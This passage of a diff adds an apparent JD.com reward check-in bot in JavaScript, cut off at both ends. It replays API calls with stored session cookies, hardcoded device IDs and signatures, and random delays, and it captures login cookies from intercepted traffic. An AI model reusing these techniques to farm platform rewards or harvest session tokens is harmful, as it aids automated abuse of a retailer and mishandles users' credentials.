(data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.msg == 'success' && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function getEid(ss, title) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${ss.a}`, + body: `d=${ss.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + } + } + $nobyda.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${title} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $nobyda.AnError(eor, resp); + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total, + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new 